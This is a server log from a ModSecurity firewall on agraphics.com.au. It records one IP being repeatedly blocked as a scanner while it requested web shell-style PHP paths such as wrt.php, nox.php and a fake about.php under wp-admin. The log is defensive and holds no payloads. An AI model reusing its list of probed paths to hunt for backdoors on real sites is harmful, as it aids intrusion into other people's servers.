[Sat Jan 10 04:50:50.062263 2026] [:error] [pid 20646:tid 20668] [client 65.52.163.14:1695] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass4.php"] [unique_id "aWFqKiKwdq_UhOM64b6dlgAAAA0"]
[Sat Jan 10 04:50:50.328401 2026] [:error] [pid 20647:tid 20700] [client 65.52.163.14:1674] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass4.php"] [unique_id "aWFqKqvb0x69MarUHzCXaQAAAFI"]
[Sat Jan 10 04:50:50.570820 2026] [:error] [pid 20648:tid 20710] [client 65.52.163.14:1836] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass4.php"] [unique_id "aWFqKjBnnIoBkEBdx9D2WAAAAIE"]
[Sat Jan 10 04:50:50.853200 2026] [:error] [pid 20648:tid 20727] [client 65.52.163.14:1703] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass4.php"] [unique_id "aWFqKjBnnIoBkEBdx9D2WQAAAJI"]
[Sat Jan 10 04:50:51.118194 2026] [:error] [pid 20647:tid 20692] [client 65.52.163.14:1861] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2clas.php"] [unique_id "aWFqK6vb0x69MarUHzCXagAAAEo"]
[Sat Jan 10 04:50:51.352138 2026] [:error] [pid 20647:tid 20694] [client 65.52.163.14:1821] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2clas.php"] [unique_id "aWFqK6vb0x69MarUHzCXawAAAEw"]
[Sat Jan 10 04:50:51.605849 2026] [:error] [pid 20647:tid 20688] [client 65.52.163.14:1802] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2clas.php"] [unique_id "aWFqK6vb0x69MarUHzCXbAAAAEY"]
[Sat Jan 10 04:50:51.857345 2026] [:error] [pid 20646:tid 20656] [client 65.52.163.14:1844] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2clas.php"] [unique_id "aWFqKyKwdq_UhOM64b6dlwAAAAE"]
[Sat Jan 10 04:50:52.132407 2026] [:error] [pid 20744:tid 20773] [client 65.52.163.14:1803] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ave.php"] [unique_id "aWFqLEA8oR5jvkFpcP9SsgAAANA"]
[Sat Jan 10 04:50:52.371428 2026] [:error] [pid 20744:tid 20763] [client 65.52.163.14:1834] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ave.php"] [unique_id "aWFqLEA8oR5jvkFpcP9SswAAAMY"]
[Sat Jan 10 04:50:52.647688 2026] [:error] [pid 20647:tid 20685] [client 65.52.163.14:1819] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ave.php"] [unique_id "aWFqLKvb0x69MarUHzCXbgAAAEM"]
[Sat Jan 10 04:50:52.883350 2026] [:error] [pid 20647:tid 20696] [client 65.52.163.14:1776] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ave.php"] [unique_id "aWFqLKvb0x69MarUHzCXbwAAAE4"]
[Sat Jan 10 04:50:53.148237 2026] [:error] [pid 20647:tid 20703] [client 65.52.163.14:1840] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wrt.php"] [unique_id "aWFqLavb0x69MarUHzCXcAAAAFU"]
[Sat Jan 10 04:50:53.386367 2026] [:error] [pid 20744:tid 20758] [client 65.52.163.14:1838] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wrt.php"] [unique_id "aWFqLUA8oR5jvkFpcP9StgAAAME"]
[Sat Jan 10 04:50:53.636264 2026] [:error] [pid 20647:tid 20686] [client 65.52.163.14:1824] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wrt.php"] [unique_id "aWFqLavb0x69MarUHzCXcQAAAEQ"]
[Sat Jan 10 04:50:53.979705 2026] [:error] [pid 20647:tid 20690] [client 65.52.163.14:1749] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wrt.php"] [unique_id "aWFqLavb0x69MarUHzCXcgAAAEg"]
[Sat Jan 10 04:50:54.216170 2026] [:error] [pid 20647:tid 20693] [client 65.52.163.14:1669] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bibil.php"] [unique_id "aWFqLqvb0x69MarUHzCXcwAAAEs"]
[Sat Jan 10 04:50:54.456501 2026] [:error] [pid 20647:tid 20697] [client 65.52.163.14:1755] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bibil.php"] [unique_id "aWFqLqvb0x69MarUHzCXdAAAAE8"]
[Sat Jan 10 04:50:54.689974 2026] [:error] [pid 20647:tid 20698] [client 65.52.163.14:1852] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bibil.php"] [unique_id "aWFqLqvb0x69MarUHzCXdQAAAFA"]
[Sat Jan 10 04:50:54.965250 2026] [:error] [pid 20647:tid 20701] [client 65.52.163.14:1682] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bibil.php"] [unique_id "aWFqLqvb0x69MarUHzCXdwAAAFM"]
[Sat Jan 10 04:50:55.261255 2026] [:error] [pid 20648:tid 20732] [client 65.52.163.14:1830] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aWFqLzBnnIoBkEBdx9D2WwAAAJc"]
[Sat Jan 10 04:50:55.566292 2026] [:error] [pid 20647:tid 20704] [client 65.52.163.14:1911] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aWFqL6vb0x69MarUHzCXeQAAAFY"]
[Sat Jan 10 04:50:55.847204 2026] [:error] [pid 20647:tid 20691] [client 65.52.163.14:1782] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aWFqL6vb0x69MarUHzCXewAAAEk"]
[Sat Jan 10 04:50:56.121401 2026] [:error] [pid 20648:tid 20731] [client 65.52.163.14:1794] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "aWFqMDBnnIoBkEBdx9D2XAAAAJY"]
[Sat Jan 10 04:50:56.377770 2026] [:error] [pid 20647:tid 20706] [client 65.52.163.14:1731] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aWFqMKvb0x69MarUHzCXfgAAAFg"]
[Sat Jan 10 04:50:56.618122 2026] [:error] [pid 20647:tid 20683] [client 65.52.163.14:1976] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aWFqMKvb0x69MarUHzCXfwAAAEE"]
[Sat Jan 10 04:50:56.999982 2026] [:error] [pid 20744:tid 20769] [client 65.52.163.14:1851] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aWFqMEA8oR5jvkFpcP9StwAAAMw"]
[Sat Jan 10 04:50:57.273148 2026] [:error] [pid 20744:tid 20765] [client 65.52.163.14:1751] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "aWFqMUA8oR5jvkFpcP9SuAAAAMg"]
[Sat Jan 10 04:50:57.507845 2026] [:error] [pid 20647:tid 20700] [client 65.52.163.14:1847] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aWFqMavb0x69MarUHzCXgQAAAFI"]
[Sat Jan 10 04:50:57.746202 2026] [:error] [pid 20744:tid 20766] [client 65.52.163.14:1816] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aWFqMUA8oR5jvkFpcP9SuQAAAMk"]
[Sat Jan 10 04:50:58.007700 2026] [:error] [pid 20744:tid 20759] [client 65.52.163.14:1768] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aWFqMkA8oR5jvkFpcP9SugAAAMI"]
[Sat Jan 10 04:50:58.269717 2026] [:error] [pid 20648:tid 20728] [client 65.52.163.14:1848] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file7.php"] [unique_id "aWFqMjBnnIoBkEBdx9D2XQAAAJM"]
[Sat Jan 10 04:50:58.512072 2026] [:error] [pid 20647:tid 20685] [client 65.52.163.14:1849] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aWFqMqvb0x69MarUHzCXggAAAEM"]
[Sat Jan 10 04:50:58.775481 2026] [:error] [pid 20646:tid 20679] [client 65.52.163.14:1842] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aWFqMiKwdq_UhOM64b6dmQAAABg"]
[Sat Jan 10 04:50:59.039754 2026] [:error] [pid 20648:tid 20718] [client 65.52.163.14:1828] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aWFqMzBnnIoBkEBdx9D2XgAAAIk"]
[Sat Jan 10 04:50:59.276185 2026] [:error] [pid 20648:tid 20724] [client 65.52.163.14:1746] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aWFqMzBnnIoBkEBdx9D2YAAAAI8"]
[Sat Jan 10 04:50:59.533062 2026] [:error] [pid 20744:tid 20770] [client 65.52.163.14:1825] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aWFqM0A8oR5jvkFpcP9SuwAAAM0"]
[Sat Jan 10 04:50:59.802792 2026] [:error] [pid 20648:tid 20714] [client 65.52.163.14:1831] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aWFqMzBnnIoBkEBdx9D2YgAAAIU"]
[Sat Jan 10 04:51:00.121478 2026] [:error] [pid 20744:tid 20779] [client 65.52.163.14:1822] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aWFqNEA8oR5jvkFpcP9SvAAAANY"]
[Sat Jan 10 04:51:00.406395 2026] [:error] [pid 20744:tid 20768] [client 65.52.163.14:1739] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aWFqNEA8oR5jvkFpcP9SvQAAAMs"]
[Sat Jan 10 04:51:00.690846 2026] [:error] [pid 20648:tid 20713] [client 65.52.163.14:1792] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nox.php"] [unique_id "aWFqNDBnnIoBkEBdx9D2ZAAAAIQ"]
[Sat Jan 10 04:51:01.032228 2026] [:error] [pid 20647:tid 20682] [client 65.52.163.14:1712] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nox.php"] [unique_id "aWFqNavb0x69MarUHzCXgwAAAEA"]
[Sat Jan 10 04:51:01.271109 2026] [:error] [pid 20744:tid 20757] [client 65.52.163.14:1827] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nox.php"] [unique_id "aWFqNUA8oR5jvkFpcP9SwAAAAMA"]
[Sat Jan 10 04:51:01.509929 2026] [:error] [pid 20744:tid 20767] [client 65.52.163.14:1869] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nox.php"] [unique_id "aWFqNUA8oR5jvkFpcP9SwQAAAMo"]
[Sat Jan 10 04:51:01.759893 2026] [:error] [pid 20744:tid 20777] [client 65.52.163.14:1738] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aWFqNUA8oR5jvkFpcP9SwgAAANQ"]
[Sat Jan 10 04:51:02.047202 2026] [:error] [pid 20744:tid 20774] [client 65.52.163.14:1721] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aWFqNkA8oR5jvkFpcP9SwwAAANE"]
[Sat Jan 10 04:51:02.333077 2026] [:error] [pid 20744:tid 20776] [client 65.52.163.14:1952] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aWFqNkA8oR5jvkFpcP9SxAAAANM"]
[Sat Jan 10 04:51:02.568080 2026] [:error] [pid 20744:tid 20761] [client 65.52.163.14:1748] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aWFqNkA8oR5jvkFpcP9SxQAAAMQ"]
[Sat Jan 10 04:51:02.900720 2026] [:error] [pid 20648:tid 20711] [client 65.52.163.14:1772] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aWFqNjBnnIoBkEBdx9D2ZwAAAII"]
[Sat Jan 10 04:51:03.211407 2026] [:error] [pid 20744:tid 20775] [client 65.52.163.14:1967] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aWFqN0A8oR5jvkFpcP9SyAAAANI"]
[Sat Jan 10 04:51:03.455816 2026] [:error] [pid 20744:tid 20781] [client 65.52.163.14:1815] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aWFqN0A8oR5jvkFpcP9SyQAAANg"]
[Sat Jan 10 04:51:03.692111 2026] [:error] [pid 20744:tid 20771] [client 65.52.163.14:1786] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aWFqN0A8oR5jvkFpcP9SzAAAAM4"]
[Sat Jan 10 04:51:03.931192 2026] [:error] [pid 20744:tid 20769] [client 65.52.163.14:1854] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aWFqN0A8oR5jvkFpcP9SzQAAAMw"]
[Sat Jan 10 04:51:04.171035 2026] [:error] [pid 20648:tid 20729] [client 65.52.163.14:1730] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aWFqODBnnIoBkEBdx9D2aAAAAJQ"]
[Sat Jan 10 04:51:04.406208 2026] [:error] [pid 20648:tid 20717] [client 65.52.163.14:1774] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aWFqODBnnIoBkEBdx9D2aQAAAIg"]
[Sat Jan 10 04:51:04.651345 2026] [:error] [pid 20648:tid 20710] [client 65.52.163.14:1708] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aWFqODBnnIoBkEBdx9D2agAAAIE"]
